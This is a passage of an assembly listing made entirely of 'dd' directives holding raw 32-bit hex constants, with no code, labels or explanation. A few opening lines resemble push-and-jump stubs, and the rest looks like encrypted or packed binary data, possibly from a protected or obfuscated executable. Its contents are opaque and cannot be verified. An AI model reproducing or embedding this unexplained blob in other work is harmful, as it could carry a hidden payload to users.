		dd 0ED3F3368h, 4DC1E905h, 1168FFFAh, 0E905ED40h, 0FFFA4DB7h
		dd 0ED40A368h, 4DADE905h, 3268FFFAh, 0E905ED41h, 0FFFA4DA3h
		dd 0ED477E68h, 4D99E905h, 0AB68FFFAh, 0E905ED48h, 0FFFA4D8Fh
		dd 0ED496068h, 4D85E905h, 75A3FFFAh, 6AA08F41h,	72BF8444h
		dd 6EB9864Ah, 8DB5824Eh, 8332834Dh, 75DBE32Fh, 75DBE32Eh
		dd 73DDFD2Eh, 0EC2E424h, 3A8E2BBBh, 39C698CDh, 7A529CCAh
		dd 0EF390654h, 8DB887CFh, 0D9147549h, 8D905C1Bh, 40551DC5h
		dd 0C375E2F8h, 0EE4BAAFBh, 0C95CF091h, 9469B586h, 0C692EC20h
		dd 0E2378EB5h, 0C692EC1Eh, 0A7FBC415h, 15696D58h, 0ECD2F534h
		dd 774B94A2h, 4CFE9843h, 0C7CDCD9Eh, 61F27C4Dh,	4D7Fh
		dd 0EE024B00h, 0DAFFA72Fh, 0C375E256h, 5D7DEAE4h, 80516105h
		dd 0B67E74B7h, 0BB059CFEh, 2A09BA5Dh, 5CB5EC4Dh, 62B889C9h
		dd 0DAFA2D72h, 0E146A584h, 0C6928513h, 0E720A665h, 0F537358h
		dd 0B828FF3Eh, 6561F227h, 93D2F0DAh, 0C92Ah, 0D35BC00h
		dd 75E2C0A8h, 64545DC3h, 15663716h, 8DD1FBD6h, 625846B1h
		dd 0BCEBB41Ch, 56765D98h, 0CBDD2A70h, 345465EBh, 21C375E7h
		dd 0EECED9E7h, 0E068B990h, 116D715Bh, 339B7A76h, 5CF245E6h
		dd 3F1162C9h, 0A8E04F77h, 9451B886h, 0C692FA2Ch, 0E897D627h
		dd 6C490104h, 0CCB894B4h, 9CBCE9B6h, 3D8316BEh,	36C8A520h
		dd 0B24294E5h, 0E846AD82h, 0D5E2F0Eh, 8ECCFA45h, 8DCDF542h
		dd 20B9BB10h, 94C76370h, 18DEh,	212F2F15h, 3E12301Ah, 38102811h
		dd 34143813h, 351B236Fh, 9981D9E8h, 9580AFA1h, 8B80AFA1h
		dd 8E9EA5ABh, 4101A0A8h, 98D38C74h, 229487C6h, 7C566452h
		dd 0EA58C1C4h, 0EDC8C6FEh, 0EEF0D867h, 0EE02AE62h, 0B912A72Fh
		dd 0B6C95CFEh, 0D0A41965h, 0A6C692FEh, 65FFE5E5h, 6761F272h
		dd 0A7h, 547A5263h, 0C9F13906h,	4D6DBE81h, 0E5DD1871h
		dd 75E77010h, 8BABFDC3h, 96AEFE45h, 624B97B7h, 3EB2CD11h
		dd 89A2775Fh, 26C95CF2h, 707C7BD5h, 0F60D25ADh,	3DE737ADh
		dd 0B886A6E1h, 6B4E0051h, 0C692C985h, 646E4D9Eh, 0B8A2CE51h
		dd 10BA8BCCh, 0E7C7C768h, 7EBD8188h, 39172713h,	69162412h
		dd 7021625Eh, 13A53612h, 40000018h, 41EE6254h, 5CEB6545h
		dd 5EE56B53h, 5AE16F4Fh, 0D3E26E6Ch, 0F4C2CCA4h, 0F4C0CF54h
		dd 0FEDECF54h, 0E3C3C552h, 0AF0A5C6Dh, 0C698D0D9h, 52FFABDAh
		dd 7F5F4864h, 3315222Eh, 526D3D13h, 3906547Ah, 6A01CFEFh
		dd 0EACF8786h, 0C95CFA9Dh, 5901499Ah, 92FAF47Ch, 0A7B78FC6h
		dd 43B3680h, 8DF53001h,	92784C28h, 0ECCCD9C6h, 5A64A18Eh
		dd 3D0C5270h, 71FA8EECh, 0A269E549h, 0F0A43C24h, 0A4A061F1h
		dd 22000000h, 0CDB27D35h, 0C1D7050Bh, 1F6839E2h, 0B59ACCD1h
		dd 19EFCA93h, 1AC3754Ah, 4BA2F8C9h, 0EA576268h,	0EFC95C42h
		dd 48EE339Eh, 0A19DF73Ah, 58004A4Bh, 0AEF0D4F7h, 812C6DA7h
		dd 17F0334Ah, 13DFAAE6h, 334C92E3h, 23F6D8BDh, 2909B4BCh
		dd 5DE2E435h, 5EE56B4Bh, 32B3684Eh, 0B24AA4F2h,	172CC596h
		dd 7DAB0000h, 62A8F759h, 7AA78C5Ch, 66A18E42h, 75BD8A46h
		dd 8B3A8B45h, 7DD3EBD7h, 7DD3EBD6h, 7BD5F5D6h, 76DAFC2Ch
		dd 328613B3h, 31C698D0h, 7A5294C2h, 83690654h, 80EDC882h
		dd 95C95CFAh, 0E4C48444h, 96AE4245h, 75E2BD03h,	1465B6C3h
		dd 94A4EDB2h, 3BB81D59h, 38C95CEAh, 6D32E0EFh, 0E4C51939h
		dd 0D52E2089h, 658B4F79h, 18012EA0h, 2C89C520h,	444D1303h
		dd 9EF54698h, 0C7D65D66h, 0E10FA8F6h, 580FAA3Ch, 0E05B9751h
		dd 0E1845E48h, 310907D5h, 3E426BF3h, 483D787Fh,	0C0C8577Fh
		dd 0C3C552FEh, 96C73EE3h, 3713FD31h, 167DA4h, 88CEFA00h
		dd 0F3D3FB40h, 0F1C9F65Dh, 0F5D9F05Fh, 0F4C2CC5Bh, 663A4954h
		dd 61CE0238h, 61CE023Ah, 7FC40424h, 0E2C7092Dh,	0D163D5E0h
		dd 3560C698h, 547A5245h, 50913AA7h, 0C596B264h,	163Eh
		dd 814F8FB5h, 9EB290BAh, 98B088B1h, 94B498B3h, 95BB838Fh
		dd 0F9217908h, 0F5200FC1h, 0EB200FC1h, 0EE3E05CBh, 21A100C8h
		dd 98D12C94h, 82F427C6h, 6547A52h, 0C8828369h, 5D0F20EDh
		dd 64E435C9h, 30BCA969h, 0E350656Dh, 0D0CCBBC7h, 0D3F7C887h
		dd 1E6BD0AEh, 3E9B33D2h, 612BFE0Dh, 4A65B98Ah, 0CAEFE7A6h
		dd 673E4087h, 13DBF3DCh, 74FA4E6Bh, 0D1F9773Dh,	3D747CC4h
		dd 0D5267777h, 4D91BB96h, 0B294B483h, 99272ACDh, 15AF618h
		dd 15AEh, 71DFFF25h, 0EC2E02Ah,	8C0F821h, 4C4E823h, 5CBF33Fh
		dd 695109B8h, 6550FF51h, 7B50FF51h, 7EAEF55Bh, 9131F058h
		dd 98D6BC04h, 1244B7C6h, 75E250D8h, 0F2FD47C3h,	12E2C375h
		dd 0DC375E2h, 0C375C2B7h, 57C4EA22h, 6450B0BEh,	5B81DA76h
		dd 98000015h, 99A6AAACh, 94A3AD8Dh, 96BD93ABh, 92B997B7h
		dd 6BBA96A4h, 3C1A045Ch, 3C18072Ch, 2606072Ch, 2B0B1D2Ah
		dd 0F7C28425h, 0C698D601h, 2A71302h, 8FA72FEEh,	0CCA8862Dh
		dd 2BA382CEh, 5D146D8Eh, 64CBF3C9h, 0DCA40125h,	0D7C692D6h
		dd 85D6A786h, 37C50918h, 5209216Ah, 14FEh, 0C10F4F75h
		dd 0DE72507Ah, 0D8704871h, 0D4745873h, 0D57B434Fh, 0B9E1B9C8h
		dd 0B5E04F81h, 0ABE04F81h, 0AEFE458Bh, 61614088h, 98D7EC54h
		dd 0C2B4E7C6h, 6547A52h, 0BD03965Eh, 4FC375E2h,	75E2866Ah
		dd 0E34C9DC3h, 68B99D8Ch, 0DEE6260Dh, 0B495E9D1h, 0F3BB636Bh
		dd 75E25226h, 0A30051C3h, 0C375E2DDh, 0AF785E48h, 1539135Eh
		dd 0BD85E0C9h, 69731776h, 67D98AF7h, 3BD5h, 5CD89100h
		dd 0C9C375E2h, 4D3386DFh, 0D8C375E2h, 0CF18E9EDh, 0B687B7E0h
		dd 5793079Ah, 0FED0C3D1h, 971DE336h, 0C516C32Eh, 67C898E6h
		dd 0D33A0024h, 1450D190h, 3A050000h, 0E4F23111h, 6EDB7D35h
		dd 5D6F7772h, 4C19331Eh, 75618769h, 62B39CC3h, 0A86D831Ch
		dd 94C67E26h, 84CAC3D3h, 8C4335F2h, 7740C375h, 0FA1BBE34h
		dd 0EC95C87h, 0E6C5E521h, 6F04C415h, 0EFCA9C81h, 0CCBB8FE2h
		dd 6F58A6F7h, 0E3361A22h, 0C8BB6F1Eh, 0FDD88185h, 0C8BB6F0Bh
		dd 56193608h, 9D6917A2h, 0C46B634Ch, 4C9DE1C5h,	7654E371h
		dd 0E93D0A50h, 6AD1F5C9h, 0E8CEDC6Ch, 11F16360h, 0FDD35C0Bh
		dd 8B000001h, 0B0A3AB3h, 64473F87h, 2FEE0272h, 74512A7h
		dd 5872C95Dh, 0ADF1D5F7h, 0C611E75Ch, 0C112C692h, 723AAAF0h
		dd 92C6D1A7h, 7F5F4CC6h, 331E5DAEh, 0E153B1Bh, 8B943E1Ch
		dd 960BE9Eh, 9361D42Ah,	0B5C692D6h, 5A70D0F6h, 0D6C0A80Dh
		dd 0F2C3C692h, 4FE7AFA1h, 664F2C0Eh, 0F146E7A8h, 0AE30A4FEh
		dd 68B99D88h, 9B7A760Dh, 0BA330B33h, 39528BA4h,	0B5BE1B5Ah
		dd 22CCBA36h, 9EA1B5D8h, 370080AEh, 0CD5FD79Fh,	665268E9h
		dd 61A91FD4h, 59AAC8BBh, 0CA103616h, 71BE80E3h,	17DF7149h
		dd 0CD3C0208h, 55B8FBDBh, 3F81146Dh, 34C8BB61h,	0F1449AEBh
		dd 0C8BB610Dh, 0A1626427h, 6154DCF9h, 1E6FC8BBh, 0F0C6F0DFh
		dd 0D29C9458h, 48308543h, 4BC8BB52h, 0FF74207Ah, 0E6240B6Ah
		dd 998DFAC0h, 9A4165B9h, 587EACFCh, 0C78113F0h,	36435C0Ah
		dd 7000000h, 1E3C6A35h,	0A78AE9C0h, 307F437Bh, 9DEA3006h
		dd 6552A888h, 0ACC01E3Eh, 4B6E9B3Fh, 0C375E2E5h, 365CADFEh
		dd 7BA70585h, 861E8D43h, 4667D98Eh, 0D8h, 31EE0200h, 82EB3717h
		dd 0BFBC19B1h, 4DC95CF7h, 0F7483085h, 0A8C2C692h, 2CC0A718h
		dd 0CDDC13FCh, 0E85D98E9h, 0C13439Fh, 8BE2381Eh, 7F4145A8h
		dd 0D6370B33h, 557D9FCh, 36CC692h, 0B0A09832h, 276327B1h
		dd 47EC6043h, 0D76F6747h, 0FB4989FCh, 0E70B391h, 0F9C5E521h
		dd 0C06066D5h, 6764E4CAh, 61F246EDh, 69DFh, 0EACFF700h
		dd 0C692B606h, 0F9F1CC1Dh, 0C0A80D35h, 0C3C375E2h, 0DD0CB3F2h
		dd 54EC943Eh, 5F7AE941h, 0C375B2E9h, 984199EAh,	1DA7CD59h
		dd 0AE4030A6h, 1525125Dh, 2485E0C9h, 0C375D38Ch, 0F9DDC827h
		dd 0F90E26A8h, 25063252h, 482D1550h, 0C37522ECh, 0D321A932h
		dd 0A951791Ah, 47A68486h, 7521CEE2h, 0B494E5C3h, 783h
		dd 633ED700h, 68000000h, 9556552h, 62B7EC3Eh, 0C375E29Eh
		dd 10983D95h, 13C375E2h, 0A8A0F1C2h, 90B58B83h,	4F79E6B9h
		dd 331C8450h, 54D9EEFh,	0F3CF0F3Ah, 48675B9Ah, 269BE7BEh
		dd 0C3754F5Fh, 0EEB17929h, 50D89DBDh, 0AAC3754Fh, 754FB90Fh
		dd 9869BAC3h, 9DCD774Fh, 0B9F19358h, 656F6B7Ah,	67D978EBh
		dd 0BFED9h, 802ED00h, 0EA300433h, 5018B283h, 75E2F345h
		dd 44A7F0C3h, 17B8877Ah, 7C44D21h, 56079983h, 4DC5DE2Eh
		dd 81000000h, 0A52D0802h, 556552FDh, 64C52009h,	0C375E29Ch
		dd 340C4697h, 0CE6B6864h, 26080008h, 45A0F1D8h,	0A096B87Dh
		dd 0C4F36CE9h, 4B5DAAF0h, 21A8176Bh, 12391599h,	0B0F46C74h
		dd 76D0BE65h, 8E000002h, 708850B6h, 96297145h, 83D71691h
		dd 1B330802h, 0B586E73Bh, 52315501h, 356E547Ah,	0E2C0A80Dh
		dd 0F2C3C375h, 356A3CB3h, 0E2C0A80Dh, 0F2C3C375h, 0E20BFDD8h
		dd 3F08C375h, 82C729FCh, 44A56AD9h, 21000000h, 0A52D0802h
		dd 0E250D8FDh, 9DAC375h, 0E7A92A57h, 22015223h,	350D35B4h
		dd 3C659358h, 6CCD28E7h, 0C375A687h, 3507B39Ch,	55655211h
		dd 350E4461h, 22FA0B7Dh, 9642672h, 2D46h, 77A38C00h, 35726447h
		dd 8870450Dh, 8BC375E2h, 0E20BFDBAh, 3F08C375h,	6845C1FCh
		dd 1BE0357Ah, 0D9C375E2h, 11355A08h, 61556552h,	7D350E44h
		dd 2E85D328h, 0F2579663h, 433672E4h, 3F6B454Dh,	3502CE1Fh
		dd 94FB3313h, 755AACAAh, 0C7300E4Eh, 2D9AE0C4h,	3D921CBAh
		dd 0F0D8686Eh, 7454E3EEh, 0EEC07852h, 0E3786163h, 401894EDh
		dd 587A767Eh, 8998311Dh, 0FD4F4BFAh, 79C48BABh,	0BF270F2Fh
		dd 0E0C9F587h, 0FA35D207h, 42B18CD2h, 2C0DF254h, 390ABCB5h
		dd 0B9818E91h, 0CD290465h, 5D5ED680h, 0C729FE55h, 0C387D982h
		dd 200F04FBh, 54F492C5h, 0B77F5274h, 0A083A3E8h, 187C454Dh
		dd 0E23F37E1h, 0C32C0C19h, 1B24ACF2h, 56CF2E2Eh, 1CBA214Ah
		dd 94B4828Ch, 71B99D8Fh, 0C1F92609h, 0C2838FE2h, 3604347Dh
		dd 4E3394D7h, 4BBCB5C4h, 2B98307Ah, 520B1DAFh, 0B5C4F147h
		dd 0DAAE0BBCh, 0D9BCB5C4h, 9DEE3F88h, 1256732h,	0DCF9A129h
		dd 0BCB5C454h, 0F9D31E6Fh, 1F0D96D5h, 62CEC89Bh, 0FE45042Ah
		dd 79C688AEh, 1636112Fh, 4A90E1C8h, 0C52A0063h,	0C8B5FDDDh
		dd 0E5278505h, 35D88EC1h, 0D31E3C6Ah, 0A687DBFBh, 1E206847h
		dd 98BCEBB4h, 5E086B42h, 333C7D35h, 1836C491h, 295F1DDh
		dd 0FEA628EBh, 75E255DBh, 146EC3h, 5AC9CF38h, 6179B485h
		dd 0F8D17D35h, 97E49D6Ch, 0EA491954h, 6AD9828Ah, 395Ah
		dd 0EB026C00h, 0E035BA28h, 0C375E21Bh, 359BCF18h, 0E2C0A80Dh
		dd 8D4AC375h, 8112D64Bh, 3372432Ch, 7852EFBBh, 0F2A94853h
		dd 41A8F6C4h, 1EAEAE79h, 0E4499CDh, 2C3Eh, 0EB026800h
		dd 0B38EA628h, 0F77970C4h, 35766043h, 75E21BE0h, 3616D9C3h
		dd 3593C710h, 44785211h, 0CC1D6145h, 5A44EBE3h,	44A9017Ch
		dd 0F1DED80Eh, 7655C375h, 0FFFFFD26h, 0E25CD8A0h, 6D99C375h
		dd 6E261EB0h, 8A8E59C0h, 0A30EF2C7h, 3405C375h,	0FF4488EBh
		dd 0C1B48AB2h, 0C375A37Fh, 111E21A1h, 0FF9BCA29h, 22265CAh
		dd 0A38EED3Ch, 230C4676h, 6BE9C4E8h, 60E8CEDCh,	29A1628Bh
		dd 0C644EF11h, 185B62E9h, 23F6BE26h, 0C375C55Dh, 41260556h
		dd 5CC1120h, 0DCCEE4D3h, 6651ADFEh, 7E3A0026h, 2D218D0Dh
		dd 0E070587Eh, 0EC258310h, 224h, 0E253D8E6h, 529EC375h
		dd 5D231BB3h, 0A6BB5096h, 8D28A281h, 0C95CF3B8h, 30FC6CBDh
		dd 41799E78h, 0F83BC883h, 4EACAC95h, 39052561h,	0A0FEDCCEh
		dd 4D2DE907h, 3F860093h, 0E2E79B0h, 0C688D930h,	0FD43561Eh
		dd 0F6C69292h, 14E146A5h, 1CCBA64h, 32C64B30h, 0B28E701Fh
		dd 0DBD29h, 0C80E3A00h,	33133B00h, 3109361Dh, 3519301Fh
		dd 34020C1Bh, 0A6FA8914h, 0A18E4278h, 0A18E427Ah, 0BF844464h
		dd 2287496Dh, 0DEA315A0h, 75A0C698h, 547A5205h,	82836906h
		dd 1108EDC8h, 0DC2DC963h, 5E60A58Ah, 0C1196A50h, 0BA451410h
		dd 34BAA9Bh, 0F3D5F33Ch, 6DBE8FD3h, 407B33E3h, 2575EDDBh
		dd 0BE9C8EE1h, 1727107Fh, 8AACFCCBh, 0F2F7FC0h,	0F9C5E920h
		dd 526D5590h, 84A4E19Eh, 4C0657B6h, 0B11B6469h,	30E61CCh
		dd 0CC86E73Bh, 0A11A07E9h, 0E2331CC8h, 2589023Dh, 6972CE70h
		dd 0D1Eh, 0E16F6F55h, 0FE52705Ah, 0F8506851h, 0F4547853h
		dd 0F55B63AFh, 0D9C19928h, 0D5C06FE1h, 0CBC06FE1h, 0CEDE65EBh
		dd 14160E8h, 98DFCCB4h,	0E2D4C7C6h, 1C226A35h, 0F4DAF221h
		dd 22E309A6h, 0B88687A8h, 1E6FB393h, 0D1E4EECDh, 0C95CE4F4h
		dd 0CC083718h, 0B48AAAFDh, 54A51655h, 597DAFF4h, 2860CFF7h
		dd 54982706h, 1CBC19B1h, 0D7CC8413h, 50AEB098h,	31093679h
		dd 1BB39CEDh, 1D330B34h, 0ED310936h, 0F8DD8A82h, 0C8A1D070h
		dd 8DD12273h, 1801FEF2h, 0DBF3DA20h, 0A1D00AFEh, 0EF3809C8h
		dd 0C08DD2E7h, 0F9CAC288h, 0BD31304h, 6477D376h, 0C6Eh
		dd 0B19FBFE5h, 4E82A0EAh, 4880B8E1h, 4484A8E3h,	458BB3FFh
		dd 29114978h, 25103F11h, 3B103F11h, 3E6E351Bh, 0D1F13018h
		dd 98DF7CC4h, 520477C6h, 72547A52h, 0EB09C43Ah,	0B6AC7E2h
		dd 0B1549837h, 0E31FBC19h, 0F2D4C95Ch, 92C05127h, 0BA0EABC6h
		dd 0B9C692C0h, 7D4E9F68h, 100B23D3h, 60C8ED8Bh,	63C692D4h
		dd 9B22C812h, 0A0EAC924h, 0B8E14E82h, 3861CE80h, 7B2F2500h
		dd 1216A35h, 0B800953Dh, 0BBC375E2h, 0A7DA196Ah, 53735A49h
		dd 0E5ED3E0Fh, 1053735Ah, 9A8D925Ah, 260564BAh,	5CF14441h
		dd 0FAC011C9h, 92ECBD07h, 8600CBC6h, 0F2810292h, 330B3361h
		dd 0E45DE300h, 0CDB37080h, 0C6C69204h, 9ACDB6F5h, 85000000h
		dd 693974ADh, 6A49E885h, 5A78527Ch, 54E93870h, 471A054Ah
		dd 0F92D1A64h, 98E6C6C7h, 4A1A60B1h, 0BF83A3E5h, 0E9200F6Eh
		dd 9C8EF9C5h, 7D4175A0h, 19F84055h, 0AAFBC375h,	11291659h
		dd 0BD93FCCDh, 636B2AC6h, 5DF4A956h, 20DD2EC9h,	6A38B7F9h
		dd 4F7269C1h, 8400000Bh, 8592BE98h, 80AFA181h, 82A9A797h
		dd 9EA5AB8Bh, 1FA6AA90h, 30063068h, 30043318h, 3A1A3318h
		dd 3F1F0916h, 0E3369011h, 0C698DC1Dh, 52B3E716h, 22962378h
		dd 21C375E2h, 8E4987D0h, 4Ch, 5A7852D8h, 80856B04h, 140EEBCEh
		dd 3A0BC95Dh, 37C2E845h, 0D388A06Ah, 0AF2h
		dd 0CD033B61h, 0CA062466h, 0C404347Dh, 0C0082C7Fh, 0C10F4F7Bh
		dd 0A5EDC5FCh, 0A1ECBB95h, 0BFECBB95h, 0A2EAB19Fh, 557D4C9Ch
		dd 98DDF840h, 0DE88FBC6h, 6547A52h, 63B6EF39h, 0C375E29Dh
		dd 17993C96h, 2CC375E2h, 5DA1F2C3h, 96537716h, 34E21F9Eh
		dd 75AB1FE1h, 0F3CB14C3h, 0F83BBB23h, 0D8D5B32Dh, 2129167h
		dd 35D50000h, 0E2C0A80Dh, 0F2C3C375h, 2B47EAB3h, 9E484713h
		dd 0B9D1ABF6h, 0AC2F8C9Fh, 6A1954A5h, 0EACF8786h, 0C95C080Dh
		dd 0EC96390Ah, 6BBEE454h, 0B6F58831h, 0EA68CED1h, 0E6A745B2h
		dd 6A20C9ECh, 6CBD3023h, 9A7B710Eh, 0DBAD0830h,	0D83C1372h
		dd 9326AC8Fh, 3606CCCCh, 0D12B485h, 0E153B1Bh, 0A01F311Eh
		dd 0C2947CB6h, 409EBEEFh, 0D0631869h, 9069A1C1h, 0A1423B8h
		dd 55430000h, 4A40EF61h, 525FE464h, 4E59E66Ah, 6D55E26Eh
		dd 0A3D2E36Dh, 55FBC3CFh, 55FBC3CEh, 53FDDDCEh,	6EE2C4C4h
		dd 0DAAE0B5Bh, 0D9C698A2h, 7852FCAAh, 856B045Ah, 6FEBCE80h
		dd 64C96311h, 0A1ECB31Bh, 0B38BBB95h, 6E20638Dh, 260D6844h
		dd 0E0FFC3FBh, 7441090Ch, 0CCB10633h, 58E7EF38h, 0C961696Dh
		dd 290AE34Bh, 8C40A31Ah, 7E5C78A7h, 0A50BAE56h,	47C8A081h
		dd 0A0818E72h, 0EBB485C8h, 54745B9Ah, 0CF183E6Ch, 25F40952h
		dd 0CA91A970h, 982h, 5DF3CBF1h,	5AF6D4F6h, 54F4C4CDh, 50F8DCCFh
		dd 51FFDFCBh, 357D354Ch, 317CCB05h, 2F7CCB05h, 527AC10Fh
		dd 0E5EDDC0Ch, 98A268D0h, 4E386BC6h, 0DBFEA6D0h, 0C375E255h
		dd 79DE1D6Eh, 0C375E2EFh, 0DB0C8A51h, 33725474h, 7A1BD1ACh
		dd 0FA4C4550h, 4FD0C95Ch, 0CCB4015Ch, 0C7C692F5h, 7059A5F6h
		dd 5F774035h, 59F7C7F0h, 74F4EA2h, 0B891E3B2h, 379FE8CCh
		dd 16002068h, 0FDDDC920h, 0D17F48A1h, 0BF7C424Ah, 70214CC0h
		dd 0F3AB3008h, 60000008h, 61CE0234h, 7CCB0525h,	7EC50B33h
		dd 7AC10F2Fh, 0F3C20E4Ch, 94A2ECC4h, 94A0EFB4h,	9EBEEFB4h
		dd 83A3E5B2h, 4F6A7C4Dh, 0C698A3F9h, 35DF8BFAh,	0E2C0A80Dh
		dd 0F2C3C375h, 0E26ED6B3h, 0D1FBC375h, 48A4438Dh, 0CAA80D45h
		dd 0C9C95D30h, 162ED6F8h, 0B16B9C5h, 0BA828FD5h, 0E6270A69h
		dd 0E83D0AC6h, 8BE9F2C8h, 2D000008h, 833F3A15h,	186229BAh
		dd 0B678455Bh, 85D510D7h, 1531EE02h, 0D7E2E435h, 0C95CFAE2h
		dd 0F54896E7h, 0C692FA0Fh, 34814979h, 0C692FA4Ch, 0A4377647h
		dd 7C49E122h, 7A6C39FBh, 9E36E5C0h, 0AE61F288h,	157h, 13331B24h
		dd 795286D0h, 0F3A0559h, 86D4F4D1h, 3F0856A7h, 8AF5C9EDh
		dd 80AFA181h, 0F57AB8Bh, 54969137h, 751CFF41h, 53ABF4C3h
		dd 47A6FB96h, 0FBD3B238h, 0E6D6954h, 0BD477144h, 634CC375h
		dd 0D6F8D01Fh, 486CBF88h, 0D5F5B672h, 22734B77h, 6B74CC84h
		dd 8364F001h, 0AE28BBFAh, 27290902h, 0CF133318h, 568EB887h
		dd 3A005169h, 353790D3h, 9BC375D0h, 7C5A44EBh, 0FDECCF1Eh
		dd 7E5E4FDDh, 49D515D2h, 0BD81B9E6h, 0D621976Ch, 0D822C375h
		dd 0AD744ACFh, 0D526773Ch, 3848D8FDh, 1A6BC375h, 88CCFBC4h
		dd 88CCFB40h, 634345B2h, 0DBFBD01Fh, 4C92B887h,	0E9915A6Eh
		dd 1CBA2145h, 9BB5818Ch, 229623EBh, 21C37538h, 73BE95D0h
		dd 3811E732h, 0C112C375h, 0DF0DAAF0h, 6401943Eh, 71C95DCEh
		dd 14032820h, 2DBDDA20h, 2CCE6668h, 0C4F52B5Fh,	5D7872B1h
		dd 0C69D04EFh, 0B339BE4h, 9D04DAAEh, 0A188D9C6h, 1B674666h
		dd 76D2F467h, 76DD734Bh, 0A72F734Bh, 4EADB198h,	0F6D8BD33h
		dd 0B5EEA223h, 69F7CFCCh, 385AFC3Ah, 9EA5ABF4h,	71C7D293h
		dd 72C8A5F6h, 0FDDDCE21h, 0B697BCACh, 0F666CAEFh, 2C7DC8A5h
		dd 0F6A91FBAh, 59AAC8A5h, 331CC008h, 0D0FA3519h, 227B3F2h
		dd 12A72FEEh, 0C95CE9C1h, 0F6C5B48Eh, 31B7EB96h, 79AD9AE0h
		dd 2D3F759h, 99A628EBh,	254AAC8Ch, 3F962E63h, 10E5DD18h
		dd 0C375D9A4h, 8B9139D2h, 67D95319h, 2A2Bh, 929CA300h
		dd 0A570F8DDh, 2273C375h, 52C492D1h, 0B1045A78h, 0C375E2CFh
		dd 0FC4C4A11h, 714088AEh, 0C3760443h, 0FFB58DC8h, 52DDFFFFh
		dd 416E547Ah, 51EB020Dh, 75E2FC44h, 55A6F7C3h, 216A3561h
		dd 0E2EB5D78h, 9FE8C375h, 0D619704Eh, 5A96D5F5h, 0E77D35B6h
		dd 0BC07C63Dh, 8F07E9CCh, 331CC375h, 7BCDE8E2h,	78C3758Fh
		dd 0D759CC2Fh, 956AD915h, 30h, 0A80D35D1h, 0C375E2C0h
		dd 6EBFF2C3h, 99506F4Eh, 0E035CCFAh, 0C375E218h, 359CCA1Bh
		dd 3D6A3511h, 8DE8C11Dh, 104664A6h, 353E0E44h, 68000000h
		dd 0BA28EB02h, 0E218E035h, 3AE2C375h, 75E2299Fh, 9AD92AC3h
		dd 521610E8h, 7B3633A9h, 1135BC2Ah, 6C5A7852h, 50D1244h
		dd 489E935h, 4819C1B3h,	0A1397445h, 9556552h, 75E2CCB4h
		dd 685059C3h, 0C0E02512h, 6169DAFAh, 9BE4C8C3h,	7CDF571Fh
		dd 976DD909h, 0D7F3E2C1h, 4FD26A12h, 0B8DECA8h,	0FA1EE247h
		dd 0C415C375h, 0BD9D8AE9h, 4E5CE393h, 45321268h, 0D0C51EF7h
		dd 0FA5F9EEFh, 0C375A620h, 9BE7C7C1h, 861AEECBh, 0C819C375h
		dd 0B12FAEFFh, 67FFFFF3h, 86961ABFh, 5CADC375h,	0C816266Dh
		dd 52D482E1h, 62444478h, 0AC403F11h, 0E2B30590h, 67B0C375h
		dd 0ABF4BC16h, 28015D61h, 488CFBD6h, 0FD38402Eh, 5C7BE71Ch
		dd 6FB39CC9h, 927B2A8Ah, 0B8F5CC6h, 0F1F18F01h,	7BD61h
		dd 3E090000h, 1, 2FEE0268h, 0FA5512A7h,	3102C95Ch, 0AA8882EDh
		dd 0F46613A6h, 0D8CDC692h, 8B2ED6F8h, 0C692F525h, 0F50EF2C7h
		dd 3405C692h, 15DB1A6Bh, 0F4231D0Eh, 452B8EC0h,	5EC692F5h
		dd 27DE3C0Dh, 0C5C58847h, 31182667h, 270CDC2Dh,	0E9CDDFE5h
		dd 4363AA95h, 0E6C92172h, 23AE80A6h, 0CAC26E68h, 0EA25E5E4h
		dd 6859827Ah, 0E64Ah, 0EC021C00h, 8D9EA129h, 35184EADh
		dd 75E21BE0h, 535EE1C3h, 0AB7A086Bh, 350D353Fh,	0EA3577A8h
		dd 2FBBFAE5h, 5278A32Eh, 2D72547Ah, 0C096D5E5h,	0EB020D41h
		dd 9199A628h, 397455A9h, 359FB3A1h, 211C226Ah, 0D982EA4Ah
		dd 0E4240B6Ah, 46A4FCC2h, 98AD7162h, 78C52071h,	47h, 28EB024Ah
		dd 3D6A35BAh, 0F7ABE814h, 0B2835643h, 2A0A036Ch, 49A4F5D4h
		dd 6C0A80Dh, 153AC375h,	9ACA1030h, 7506493Fh, 28794AC3h
		dd 0BB2F78CDh, 0AE377D35h, 7AEA6496h, 5297B33Bh, 446C5A78h
		dd 3F3E0Eh, 2680000h, 35BA28EBh, 0D9F7220Dh, 0B990EECEh
		dd 0F83B1268h, 75E2A91Fh, 309A6BC3h, 0C2FA2708h, 60C8ADFCh
		dd 63C375E2h, 8BCB2A1Bh, 7507454h, 1135B224h, 6C5A7852h
		dd 1216A35h, 0B491EC3Dh, 0FF113E3Eh, 3568FFFFh,	0D21D3D6Ah
		dd 0A786D4FAh, 1F3F6944h, 0F2D4F4C3h, 434BA15Eh, 6AA61CAFh
		dd 430B546Ah, 7953A39Bh, 8C744A02h, 7EBC8B1h, 9FE8C95Ch
		dd 0E706FE43h, 5B70C69Dh, 85BB553Fh, 3F8961F1h,	0DD000000h
		dd 0A72FEE02h, 5CFEB912h, 1965B6C9h, 92FED0A4h,	0E5E5A6C6h
		dd 0F27265FFh, 9C899661h, 0DB065EBCh, 2452C888h, 79A48BD4h
		dd 1CA51E5Dh, 3D000001h, 0FA2A5305h, 8FBB857Fh,	0C91A734Fh
		dd 0D35FCEAh, 75E2C0A8h, 0B3F2C3C3h, 146A4C5Ch,	99A6FF2Bh
		dd 61D7AC8Ch, 62C375E2h, 5DEE7218h, 247517E1h, 67DF87DBh
		dd 5560AB25h, 0C3758AE3h, 0F74F97E0h, 117CBF52h, 0FCCB1737h
		dd 9E468AACh, 74B797B1h, 756EF593h, 62860C3h, 12221ACAh
		dd 6814D12h, 0B19BF635h, 0BA3651ADh, 9DE1C1C5h,	0C9BF1A4Ch
		dd 0CAC3757Bh, 7E26A8F9h, 0E10B76C6h
		dd 68A3AE81h, 0C6177644h, 918102E7h, 0EF97C95Ch, 928D66CAh
		dd 0EECAF4C6h, 2DFC891Dh, 4330735Ch, 0CB21DE72h, 0EA3580CAh
		dd 0EFCCB843h, 31FFA497h, 0F837A2A7h, 17BF88CEh, 10381E08h
		dd 423F1F0Bh, 70224F0Dh, 0A75E7DD5h, 2C000002h,	2D7AD6E0h
		dd 2877D9F9h, 2A71DFFFh, 260DC3E3h, 0A70EC2F8h,	686E5810h
		dd 686C5BE0h, 52725BE0h, 577751FEh, 3B9EC8F9h, 0C698A5B5h
		dd 356B5F4Eh, 3C02206Ah, 77A38EEDh, 6AA28947h, 3F797E4Dh
